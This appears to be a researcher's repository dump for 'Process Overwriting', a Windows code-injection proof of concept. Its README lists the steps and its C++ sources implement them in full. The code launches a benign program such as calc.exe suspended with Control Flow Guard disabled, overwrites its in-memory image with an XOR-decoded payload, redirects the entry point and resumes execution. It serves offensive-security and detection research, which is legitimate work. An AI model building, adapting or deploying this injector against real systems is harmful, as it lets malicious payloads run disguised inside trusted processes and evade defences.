├── .appveyor.yml ├── .gitmodules ├── CMakeLists.txt ├── README.md ├── demo.bin ├── docs └── img │ ├── demo1.png │ └── demo_view.png └── process_overwrite ├── CMakeLists.txt ├── LICENSE ├── main.cpp ├── overwrite.cpp ├── overwrite.h ├── process_manip.cpp └── process_manip.h /.appveyor.yml: -------------------------------------------------------------------------------- 1 | os: 2 | - Visual Studio 2015 3 | 4 | platform: x64 5 | - x64 6 | 7 | branches: 8 | only: 9 | - master 10 | 11 | install: 12 | - git submodule update --init --recursive 13 | - set PATH=C:\Program Files\CMake\bin;%PATH% 14 | 15 | build: 16 | verbosity: detailed 17 | 18 | configuration: 19 | - Release 20 | - Debug 21 | 22 | environment: 23 | artifactName: $(APPVEYOR_PROJECT_NAME)-$(APPVEYOR_REPO_COMMIT)-$(CONFIGURATION) 24 | matrix: 25 | - env_arch: "x64" 26 | - env_arch: "x86" 27 | 28 | before_build: 29 | - mkdir build 30 | - cd build 31 | - if [%env_arch%]==[x64] ( 32 | cmake .. -A x64 -DPE2SHC_BUILD_TESTING=ON ) 33 | - if [%env_arch%]==[x86] ( 34 | cmake .. -DPE2SHC_BUILD_TESTING=ON ) 35 | - cmake -DCMAKE_INSTALL_PREFIX:PATH=%APPVEYOR_BUILD_FOLDER%/%APPVEYOR_REPO_COMMIT% .. 36 | 37 | build_script: 38 | - cmake --build . --config %CONFIGURATION% --target install 39 | - ctest -V 40 | 41 | after_build: 42 | - mkdir %artifactName% 43 | - cp %APPVEYOR_BUILD_FOLDER%/%APPVEYOR_REPO_COMMIT%/* %artifactName% 44 | 45 | artifacts: 46 | - path: build\%artifactName% 47 | -------------------------------------------------------------------------------- /.gitmodules: -------------------------------------------------------------------------------- 1 | [submodule "libpeconv"] 2 | path = libpeconv 3 | url = https://github.com/hasherezade/libpeconv.git 4 | -------------------------------------------------------------------------------- /CMakeLists.txt: -------------------------------------------------------------------------------- 1 | cmake_minimum_required ( VERSION 3.0 ) 2 | 3 | # replace "peconv_project" by your own project name: 4 | project ( process_overwrite ) 5 | 6 | # libs 7 | # modules: 8 | set ( M_PARSER "libpeconv/libpeconv" ) 9 | 10 | # modules paths: 11 | set (PECONV_DIR "${CMAKE_SOURCE_DIR}/${M_PARSER}" CACHE PATH "PEConv main path") 12 | add_subdirectory ( ${PECONV_DIR} ) 13 | set ( PECONV_LIB $ CACHE PATH "PEConvLib library path" ) 14 | 15 | # Add sub-directories 16 | # 17 | add_subdirectory ( process_overwrite ) 18 | 19 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Process Overwriting 2 | 3 | [![Build status](https://ci.appveyor.com/api/projects/status/ck9hb3928pud618b?svg=true)](https://ci.appveyor.com/project/hasherezade/process-overwriting) 4 | 5 | Process Overwriting is a PE injection technique, closely related to [Process Hollowing](https://github.com/hasherezade/libpeconv/tree/master/run_pe) and [Module Overloading](https://github.com/hasherezade/module_overloading). 6 | 7 | With its help, you can replace the main executable (not a DLL) of the target process. 8 | 9 | It works only for a newly created process - injection to existing processes is not supported with this technique. 10 | 11 | WARNING: The size of the target image must be NOT SMALLER than the size of the payload image. 12 | 13 | Steps taken: 14 | 15 | 1. creates a suspended process from a benign file (with CFG disabled) 16 | 2. maps the payload in memory, and writes it over the originally mapped image (without unmapping of the original image) 17 | 3. updates the entry point of the process to the entry point of the payload 18 | 4. resumes the process, executing the replaced PE 19 | 20 | > [!IMPORTANT] 21 | > [Read FAQ](https://github.com/hasherezade/process_overwriting/wiki) 22 | 23 | Demo: 24 | - 25 | 26 | The demo payload ([`demo.bin`](https://github.com/hasherezade/process_overwriting/blob/master/demo.bin)) injected into Windows Calc (default target): 27 | 28 | ![](/docs/img/demo1.png) 29 | 30 | In memory (via Process Hacker): 31 | 32 | ![](docs/img/demo_view.png) 33 | 34 | 📹 Process Overwriting on Windows 11 24H2: https://youtu.be/sZ8tMwKfvXw 35 | 36 | Clone: 37 | - 38 | Use recursive clone to get the repo together with all the submodules: 39 | ```console 40 | git clone --recursive https://github.com/hasherezade/process_overwriting.git 41 | ``` 42 | -------------------------------------------------------------------------------- /demo.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hasherezade/process_overwriting/d44ab101caa067a40ca83e1e68a104a8846298a6/demo.bin -------------------------------------------------------------------------------- /docs/img/demo1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hasherezade/process_overwriting/d44ab101caa067a40ca83e1e68a104a8846298a6/docs/img/demo1.png -------------------------------------------------------------------------------- /docs/img/demo_view.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hasherezade/process_overwriting/d44ab101caa067a40ca83e1e68a104a8846298a6/docs/img/demo_view.png -------------------------------------------------------------------------------- /process_overwrite/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | cmake_minimum_required (VERSION 3.0) 2 | 3 | # replace "project_template" by your own project name: 4 | project ( process_overwriting ) 5 | 6 | set(CMAKE_CXX_FLAGS_RELEASE "${CMAKE_CXX_FLAGS_RELEASE} /MT") 7 | 8 | # include libpeconv headers: 9 | include_directories ( ${PECONV_DIR}/include ) 10 | 11 | set (srcs 12 | #put your sources here 13 | ) 14 | 15 | # general headers - they will be used for both EXE and DLL: 16 | set (hdrs 17 | process_manip.h 18 | overwrite.h 19 | ) 20 | 21 | set (rsrc 22 | process_manip.cpp 23 | overwrite.cpp 24 | ) 25 | 26 | add_executable ( ${PROJECT_NAME} ${hdrs} ${srcs} ${rsrc} main.cpp ) 27 | 28 | 29 | # link with libpeconv.lib 30 | target_link_libraries ( ${PROJECT_NAME} ${PECONV_LIB} ) 31 | 32 | #dependencies: 33 | add_dependencies( ${PROJECT_NAME} libpeconv ) 34 | 35 | INSTALL( TARGETS ${PROJECT_NAME} DESTINATION ${CMAKE_INSTALL_PREFIX} COMPONENT ${PROJECT_NAME} ) 36 | -------------------------------------------------------------------------------- /process_overwrite/LICENSE: -------------------------------------------------------------------------------- 1 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" 2 | AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 3 | IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 4 | DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE 5 | FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL 6 | DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 7 | SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER 8 | CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, 9 | OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE 10 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 11 | -------------------------------------------------------------------------------- /process_overwrite/main.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | #include // include libPeConv header 5 | 6 | #include "process_manip.h" 7 | #include "overwrite.h" 8 | 9 | bool get_calc_path(LPSTR lpwOutPath, DWORD szOutPath, bool isPayl32bit) 10 | { 11 | if (isPayl32bit) { 12 | #ifdef _WIN64 13 | ExpandEnvironmentStringsA("%SystemRoot%\\SysWoW64\\calc.exe", lpwOutPath, szOutPath); 14 | #else 15 | ExpandEnvironmentStringsA("%SystemRoot%\\system32\\calc.exe", lpwOutPath, szOutPath); 16 | #endif 17 | } 18 | else { 19 | ExpandEnvironmentStringsA("%SystemRoot%\\system32\\calc.exe", lpwOutPath, szOutPath); 20 | } 21 | return true; 22 | } 23 | 24 | bool process_overwrite(PROCESS_INFORMATION &pi, BYTE* payloadBuf, DWORD payloadSize, DWORD targetImgSize) 25 | { 26 | if (targetImgSize < payloadSize) { 27 | std::cerr << "Target too small\n"; 28 | return false; 29 | } 30 | 31 | bool isPayl32b = !peconv::is64bit(payloadBuf); 32 | 33 | ULONGLONG remoteBase = get_remote_img_base(pi, isPayl32b); 34 | std::cout << "Main module at: " << std::hex << (ULONG_PTR)remoteBase << "\n"; 35 | 36 | bool hasReloc = peconv::has_relocations(payloadBuf); 37 | if (!hasReloc) { 38 | ULONGLONG paylBase = peconv::get_image_base(payloadBuf); 39 | if (remoteBase != paylBase) { 40 | std::cerr << "[!] Payload has no relocations, and cannot be injected at desired base!\n"; 41 | return false; 42 | } 43 | } 44 | 45 | bool is_overwritten = false; 46 | //rewrite the payload to a new buffer, with padding, to avoid the leftovers from the orignal process... 47 | { 48 | BYTE* padded_payl = (BYTE*)calloc(targetImgSize, 1); 49 | memcpy(padded_payl, payloadBuf, payloadSize); 50 | 51 | // write the padded buffer into the process... 52 | is_overwritten = overwrite_mapping(pi.hProcess, (HMODULE)remoteBase, padded_payl, targetImgSize); 53 | free(padded_payl); 54 | } 55 | if (!is_overwritten) { 56 | std::cerr << "Failed to overwrite\n"; 57 | return false; 58 | } 59 | 60 | if (!redirect_to_payload(payloadBuf, remoteBase, pi, isPayl32b)) { 61 | std::cerr << "Failed to update EP\n"; 62 | return false; 63 | } 64 | std::cout << "Resuming, PID " << std::dec << pi.dwProcessId << std::endl; 65 | //Resume the thread and let the payload run: 66 | ResumeThread(pi.hThread); 67 | return true; 68 | } 69 | 70 | void decode_payload(BYTE* buffer, size_t size, BYTE* key, size_t key_size) 71 | { 72 | for (size_t i = 0; i < size; i++) { 73 | buffer[i] ^= key[i % key_size]; 74 | } 75 | } 76 | 77 | int main(int argc, char* argv[]) 78 | { 79 | #ifdef _WIN64 80 | const bool is32bit = false; 81 | #else 82 | const bool is32bit = true; 83 | #endif 84 | if (argc < 4) { 85 | std::cout << "Process Overwrite ("; 86 | if (is32bit) std::cout << "32bit"; 87 | else std::cout << "64bit"; 88 | std::cout << ")\n"; 89 | std::cout << "params: [*key] [*target path]\n" << std::endl; 90 | if (argc < 2) { 91 | system("pause"); 92 | return 0; 93 | } 94 | std::cout << "---\n" << std::endl; 95 | } 96 | bool useDefaultTarget = true; 97 | char defaultTarget[MAX_PATH] = { 0 }; 98 | char* targetPath = defaultTarget; 99 | if (argc >= 4) { 100 | targetPath = argv[3]; 101 | useDefaultTarget = false; 102 | } 103 | char* payloadPath = argv[1]; 104 | size_t bufsize = 0; 105 | // load the payload: 106 | BYTE* buffer = peconv::load_file(payloadPath, bufsize); 107 | if (!buffer) { 108 | std::cerr << "Cannot read file:" << payloadPath << std::endl; 109 | return -1; 110 | } 111 | if (argc >= 3) { 112 | std::string key = argv[2]; 113 | if (key.length()) { 114 | decode_payload(buffer, bufsize, (BYTE*)key.c_str(), key.length()); 115 | std::cout << "[+] Decoded with key: " << key << std::endl; 116 | } 117 | } 118 | size_t payloadSize = 0; 119 | BYTE* payloadBuf = peconv::load_pe_module(buffer, bufsize, payloadSize, false, false); 120 | if (!payloadBuf) { 121 | std::cerr << "Not a valid PE file!" << std::endl; 122 | return -1; 123 | } 124 | 125 | size_t paylImgSize = peconv::get_image_size(payloadBuf); 126 | bool isPayl32b = !peconv::is64bit(payloadBuf); 127 | if (is32bit && !isPayl32b) { 128 | std::cout << "[ERROR] The injector (32 bit) is not compatibile with the payload (64 bit)\n"; 129 | return 1; 130 | } 131 | 132 | // if no target supplied, get the default one: 133 | if (useDefaultTarget) { 134 | get_calc_path(defaultTarget, MAX_PATH, isPayl32b); 135 | } 136 | std::cout << "[+] Target: " << targetPath << std::endl; 137 | bool isTarget32b = true; 138 | size_t targetImgSize = 0; 139 | // fetch target info to check the compatibility: 140 | { 141 | size_t targetSize = 0; 142 | BYTE* targetBuf = peconv::load_pe_module(targetPath, targetSize, false, false); 143 | if (!targetBuf) { 144 | std::cout << "Cannot read target\n"; 145 | return 0; 146 | } 147 | isTarget32b = !peconv::is64bit(targetBuf); 148 | targetImgSize = peconv::get_image_size(targetBuf); 149 | peconv::free_pe_buffer(targetBuf); 150 | } 151 | if (paylImgSize > targetImgSize) { 152 | std::cerr << "[!!] The target: " << std::hex << targetImgSize << " is too small to fit the payload: " << paylImgSize << "\n"; 153 | return false; 154 | } 155 | if (isTarget32b != isPayl32b) { 156 | std::cerr << "[!!] The target has a different bitness than the payload!\n"; 157 | return false; 158 | } 159 | 160 | // create the process for the injection: 161 | PROCESS_INFORMATION pi = { 0 }; 162 | char* cmdline = NULL; 163 | 164 | if (!create_suspended_process(targetPath, cmdline, true, pi)) { 165 | std::cerr << "Creating process failed!\n"; 166 | return false; 167 | } 168 | // do the overwrite: 169 | std::cout << "[+] Created Process, PID: " << std::dec << pi.dwProcessId << "\n"; 170 | const bool is_ok = process_overwrite(pi, payloadBuf, (DWORD)payloadSize, (DWORD)targetImgSize); 171 | 172 | peconv::free_pe_buffer(payloadBuf); 173 | 174 | if (is_ok) { 175 | std::cerr << "[+] Done!" << std::endl; 176 | } 177 | else { 178 | terminate_process(pi.dwProcessId); 179 | std::cerr << "[-] Failed!" << std::endl; 180 | #ifdef _DEBUG 181 | system("pause"); 182 | #endif 183 | return -1; 184 | } 185 | #ifdef _DEBUG 186 | system("pause"); 187 | #endif 188 | return 0; 189 | } 190 | -------------------------------------------------------------------------------- /process_overwrite/overwrite.cpp: -------------------------------------------------------------------------------- 1 | #include "overwrite.h" 2 | #include 3 | 4 | DWORD translate_protect(DWORD sec_charact) 5 | { 6 | if ((sec_charact & IMAGE_SCN_MEM_EXECUTE) 7 | && (sec_charact & IMAGE_SCN_MEM_READ) 8 | && (sec_charact & IMAGE_SCN_MEM_WRITE)) 9 | { 10 | return PAGE_EXECUTE_READWRITE; 11 | } 12 | if ((sec_charact & IMAGE_SCN_MEM_EXECUTE) 13 | && (sec_charact & IMAGE_SCN_MEM_READ)) 14 | { 15 | return PAGE_EXECUTE_READ; 16 | } 17 | if (sec_charact & IMAGE_SCN_MEM_EXECUTE) 18 | { 19 | return PAGE_EXECUTE_READ; 20 | } 21 | 22 | if ((sec_charact & IMAGE_SCN_MEM_READ) 23 | && (sec_charact & IMAGE_SCN_MEM_WRITE)) 24 | { 25 | return PAGE_READWRITE; 26 | } 27 | if (sec_charact & IMAGE_SCN_MEM_READ) { 28 | return PAGE_READONLY; 29 | } 30 | 31 | return PAGE_READWRITE; 32 | } 33 | 34 | bool set_sections_access(HANDLE hProcess, PVOID remoteBase, BYTE* implant_buf, size_t implant_size) 35 | { 36 | DWORD oldProtect = 0; 37 | // protect PE header 38 | if (!VirtualProtectEx(hProcess, (LPVOID)remoteBase, PAGE_SIZE, PAGE_READONLY, &oldProtect)) { 39 | return false; 40 | } 41 | bool is_ok = true; 42 | 43 | const size_t count = peconv::get_sections_count(implant_buf, implant_size); 44 | for (size_t i = 0; i < count; i++) { 45 | IMAGE_SECTION_HEADER *next_sec = peconv::get_section_hdr(implant_buf, implant_size, i); 46 | if (!next_sec) break; 47 | 48 | const DWORD sec_protect = translate_protect(next_sec->Characteristics); 49 | const DWORD sec_offset = next_sec->VirtualAddress; 50 | const DWORD sec_size = next_sec->Misc.VirtualSize; 51 | const LPVOID next_sec_va = (LPVOID)((ULONG_PTR)remoteBase + sec_offset); 52 | const DWORD protect_size = (DWORD)(implant_size - sec_offset); 53 | if (!VirtualProtectEx(hProcess, next_sec_va, protect_size, sec_protect, &oldProtect)) { 54 | is_ok = false; 55 | } 56 | } 57 | return is_ok; 58 | } 59 | 60 | bool overwrite_mapping(HANDLE hProcess, HMODULE remoteBase, BYTE* implant_buf, size_t implant_size) 61 | { 62 | DWORD oldProtect = 0; 63 | if (!VirtualProtectEx(hProcess, (BYTE*)remoteBase, implant_size, PAGE_READWRITE, &oldProtect)) { 64 | std::cout << "Virtual Protect Failed!\n"; 65 | return false; 66 | } 67 | // Write the payload to the remote process, at the Remote Base: 68 | SIZE_T written = 0; 69 | if (!WriteProcessMemory(hProcess, remoteBase, implant_buf, implant_size, &written)) { 70 | std::cout << "Writing to the remote process failed!\n"; 71 | return false; 72 | } 73 | std::cout << "Written the implant!\n"; 74 | // set access: 75 | bool is_ok = true; 76 | if (!set_sections_access(hProcess, remoteBase, implant_buf, implant_size)) { 77 | std::cout << "set_sections_access Failed!\n"; 78 | is_ok = false; 79 | } 80 | std::cout << "Section access set!\n"; 81 | return is_ok; 82 | } 83 | -------------------------------------------------------------------------------- /process_overwrite/overwrite.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | 5 | bool overwrite_mapping(HANDLE hProcess, HMODULE remoteBase, BYTE* implant_buf, size_t implant_size); 6 | -------------------------------------------------------------------------------- /process_overwrite/process_manip.cpp: -------------------------------------------------------------------------------- 1 | #include "process_manip.h" 2 | #include 3 | #include 4 | 5 | #ifndef PROCESS_CREATION_MITIGATION_POLICY_CONTROL_FLOW_GUARD_ALWAYS_OFF 6 | #define PROCESS_CREATION_MITIGATION_POLICY_CONTROL_FLOW_GUARD_ALWAYS_OFF (0x00000002ui64 << 40) 7 | #endif 8 | 9 | using namespace peconv; 10 | 11 | bool create_nocfg_attributes(STARTUPINFOEX &siex) 12 | { 13 | memset(&siex, 0, sizeof(STARTUPINFOEX)); 14 | siex.StartupInfo.cb = sizeof(STARTUPINFOEX); 15 | 16 | SIZE_T cbAttributeListSize = 0; 17 | DWORD64 MitgFlags = PROCESS_CREATION_MITIGATION_POLICY_CONTROL_FLOW_GUARD_ALWAYS_OFF; 18 | 19 | // turn off the MITIGATION_POLICY CFG for child process 20 | InitializeProcThreadAttributeList(NULL, 1, 0, &cbAttributeListSize);// cannot be used to check return error -> MSDN (This initial call will return an error by design. This is expected behavior.) 21 | if (!cbAttributeListSize) 22 | { 23 | std::cerr << "[ERROR] InitializeProcThreadAttributeList failed to get the necessary size of the attribute list, Error = " << std::hex << GetLastError() << "\n"; 24 | return false; 25 | } 26 | siex.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)malloc(cbAttributeListSize); 27 | if (!siex.lpAttributeList) 28 | { 29 | std::cerr << "[ERROR] Malloc failed to allocate memory for attribute list, Error = " << std::hex << GetLastError() << "\n"; 30 | return false; 31 | } 32 | 33 | if (!InitializeProcThreadAttributeList(siex.lpAttributeList, 1, 0, &cbAttributeListSize)) 34 | { 35 | std::cerr << "[ERROR] InitializeProcThreadAttributeList failed to initialize the attribute list, Error = " << std::hex << GetLastError() << "\n"; 36 | free(siex.lpAttributeList); 37 | siex.lpAttributeList = NULL; 38 | return false; 39 | } 40 | 41 | if (!UpdateProcThreadAttribute(siex.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_MITIGATION_POLICY, &MitgFlags, sizeof(DWORD64), NULL, NULL)) 42 | { 43 | std::cerr << "[ERROR] UpdateProcThreadAttribute failed, Error = " << std::hex << GetLastError() << "\n"; 44 | return false; 45 | } 46 | return true; 47 | } 48 | 49 | void free_nocfg_attributes(STARTUPINFOEX& siex) 50 | { 51 | if (siex.lpAttributeList) { 52 | DeleteProcThreadAttributeList(siex.lpAttributeList); 53 | free(siex.lpAttributeList); 54 | siex.lpAttributeList = NULL; 55 | } 56 | } 57 | 58 | 59 | bool create_suspended_process(IN const char* path, IN const char* cmdLine, IN bool disableCfg, OUT PROCESS_INFORMATION &pi) 60 | { 61 | DWORD process_flags = CREATE_SUSPENDED | CREATE_NEW_CONSOLE; 62 | 63 | STARTUPINFOEX siex = { 0 }; 64 | LPSTARTUPINFO siex_ptr = NULL; 65 | if (disableCfg) { 66 | process_flags |= EXTENDED_STARTUPINFO_PRESENT; 67 | if (!create_nocfg_attributes(siex)) { 68 | free_nocfg_attributes(siex); 69 | return false; 70 | } 71 | siex_ptr = (LPSTARTUPINFO) &siex; 72 | } 73 | 74 | memset(&pi, 0, sizeof(PROCESS_INFORMATION)); 75 | 76 | if (!CreateProcessA( 77 | path, 78 | (LPSTR)cmdLine, 79 | NULL, //lpProcessAttributes 80 | NULL, //lpThreadAttributes 81 | FALSE, //bInheritHandles 82 | process_flags, //dwCreationFlags 83 | NULL, //lpEnvironment 84 | NULL, //lpCurrentDirectory 85 | siex_ptr, //lpStartupInfo 86 | &pi //lpProcessInformation 87 | )) 88 | { 89 | std::cerr << "[ERROR] CreateProcess failed, Error = " << std::hex << GetLastError() << "\n"; 90 | return false; 91 | } 92 | free_nocfg_attributes(siex); 93 | return true; 94 | } 95 | 96 | bool terminate_process(DWORD pid) 97 | { 98 | bool is_killed = false; 99 | HANDLE hProcess = OpenProcess(PROCESS_TERMINATE, FALSE, pid); 100 | if (!hProcess) { 101 | return false; 102 | } 103 | if (TerminateProcess(hProcess, 0)) { 104 | is_killed = true; 105 | } 106 | else { 107 | std::cerr << "[ERROR] Could not terminate the process. PID = " << std::dec << pid << std::endl; 108 | } 109 | CloseHandle(hProcess); 110 | return is_killed; 111 | } 112 | 113 | BOOL update_remote_entry_point(PROCESS_INFORMATION &pi, ULONGLONG entry_point_va, bool is32bit) 114 | { 115 | #ifdef _DEBUG 116 | std::cout << "Writing new EP: " << std::hex << entry_point_va << std::endl; 117 | #endif 118 | #if defined(_WIN64) 119 | if (is32bit) { 120 | // The target is a 32 bit executable while the loader is 64bit, 121 | // so, in order to access the target we must use Wow64 versions of the functions: 122 | 123 | // 1. Get initial context of the target: 124 | WOW64_CONTEXT context = { 0 }; 125 | memset(&context, 0, sizeof(WOW64_CONTEXT)); 126 | context.ContextFlags = CONTEXT_INTEGER; 127 | if (!Wow64GetThreadContext(pi.hThread, &context)) { 128 | return FALSE; 129 | } 130 | // 2. Set the new Entry Point in the context: 131 | context.Eax = static_cast(entry_point_va); 132 | 133 | // 3. Set the changed context into the target: 134 | return Wow64SetThreadContext(pi.hThread, &context); 135 | } 136 | #endif 137 | // 1. Get initial context of the target: 138 | CONTEXT context = { 0 }; 139 | memset(&context, 0, sizeof(CONTEXT)); 140 | context.ContextFlags = CONTEXT_INTEGER; 141 | if (!GetThreadContext(pi.hThread, &context)) { 142 | return FALSE; 143 | } 144 | // 2. Set the new Entry Point in the context: 145 | #if defined(_WIN64) 146 | context.Rcx = entry_point_va; 147 | #else 148 | context.Eax = static_cast(entry_point_va); 149 | #endif 150 | // 3. Set the changed context into the target: 151 | return SetThreadContext(pi.hThread, &context); 152 | } 153 | 154 | ULONGLONG get_remote_peb_addr(PROCESS_INFORMATION &pi, bool is32bit) 155 | { 156 | #if defined(_WIN64) 157 | if (is32bit) { 158 | //get initial context of the target: 159 | WOW64_CONTEXT context; 160 | memset(&context, 0, sizeof(WOW64_CONTEXT)); 161 | context.ContextFlags = CONTEXT_INTEGER; 162 | if (!Wow64GetThreadContext(pi.hThread, &context)) { 163 | printf("Wow64 cannot get context!\n"); 164 | return 0; 165 | } 166 | //get remote PEB from the context 167 | return static_cast(context.Ebx); 168 | } 169 | #endif 170 | ULONGLONG PEB_addr = 0; 171 | CONTEXT context; 172 | memset(&context, 0, sizeof(CONTEXT)); 173 | context.ContextFlags = CONTEXT_INTEGER; 174 | if (!GetThreadContext(pi.hThread, &context)) { 175 | return 0; 176 | } 177 | #if defined(_WIN64) 178 | PEB_addr = context.Rdx; 179 | #else 180 | PEB_addr = context.Ebx; 181 | #endif 182 | return PEB_addr; 183 | } 184 | 185 | inline ULONGLONG get_img_base_peb_offset(bool is32bit) 186 | { 187 | /* 188 | We calculate this offset in relation to PEB, 189 | that is defined in the following way 190 | (source "ntddk.h"): 191 | 192 | typedef struct _PEB 193 | { 194 | BOOLEAN InheritedAddressSpace; // size: 1 195 | BOOLEAN ReadImageFileExecOptions; // size : 1 196 | BOOLEAN BeingDebugged; // size : 1 197 | BOOLEAN SpareBool; // size : 1 198 | // on 64bit here there is a padding to the sizeof ULONGLONG (DWORD64) 199 | HANDLE Mutant; // this field have DWORD size on 32bit, and ULONGLONG (DWORD64) size on 64bit 200 | 201 | PVOID ImageBaseAddress; 202 | [...] 203 | */ 204 | ULONGLONG img_base_offset = is32bit ? 205 | sizeof(DWORD) * 2 206 | : sizeof(ULONGLONG) * 2; 207 | 208 | return img_base_offset; 209 | } 210 | 211 | ULONGLONG get_remote_img_base(PROCESS_INFORMATION& pi, bool is32bit) 212 | { 213 | //1. Get access to the remote PEB: 214 | ULONGLONG remote_peb_addr = get_remote_peb_addr(pi, is32bit); 215 | if (!remote_peb_addr) { 216 | std::cerr << "Failed getting remote PEB address!\n"; 217 | return NULL; 218 | } 219 | // get the offset to the PEB's field where the ImageBase should be saved (depends on architecture): 220 | LPVOID remote_img_base = (LPVOID)(remote_peb_addr + get_img_base_peb_offset(is32bit)); 221 | //calculate size of the field (depends on architecture): 222 | const size_t img_base_size = is32bit ? sizeof(DWORD) : sizeof(ULONGLONG); 223 | 224 | ULONGLONG load_base = 0; 225 | SIZE_T read = 0; 226 | //2. Read the ImageBase fron the remote process' PEB: 227 | if (!ReadProcessMemory(pi.hProcess, remote_img_base, 228 | &load_base, img_base_size, 229 | &read)) 230 | { 231 | std::cerr << "Cannot read ImageBaseAddress!\n"; 232 | return NULL; 233 | } 234 | return load_base; 235 | } 236 | 237 | bool redirect_to_payload(BYTE* loaded_pe, ULONGLONG load_base, PROCESS_INFORMATION &pi, bool is32bit) 238 | { 239 | //1. Calculate VA of the payload's EntryPoint 240 | DWORD ep = get_entry_point_rva(loaded_pe); 241 | ULONGLONG ep_va = load_base + ep; 242 | 243 | //2. Write the new Entry Point into context of the remote process: 244 | if (update_remote_entry_point(pi, ep_va, is32bit) == FALSE) { 245 | std::cerr << "Cannot update remote EP!\n"; 246 | return false; 247 | } 248 | return true; 249 | } 250 | 251 | -------------------------------------------------------------------------------- /process_overwrite/process_manip.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | 5 | bool create_suspended_process(IN const char* path, IN const char* cmdLine, IN bool disable_cfg, OUT PROCESS_INFORMATION& pi); 6 | 7 | ULONGLONG get_remote_img_base(PROCESS_INFORMATION& pi, bool is32bit); 8 | 9 | bool terminate_process(DWORD pid); 10 | 11 | bool redirect_to_payload(BYTE* loaded_pe, ULONGLONG load_base, PROCESS_INFORMATION& pi, bool is32bit); 12 | 13 | --------------------------------------------------------------------------------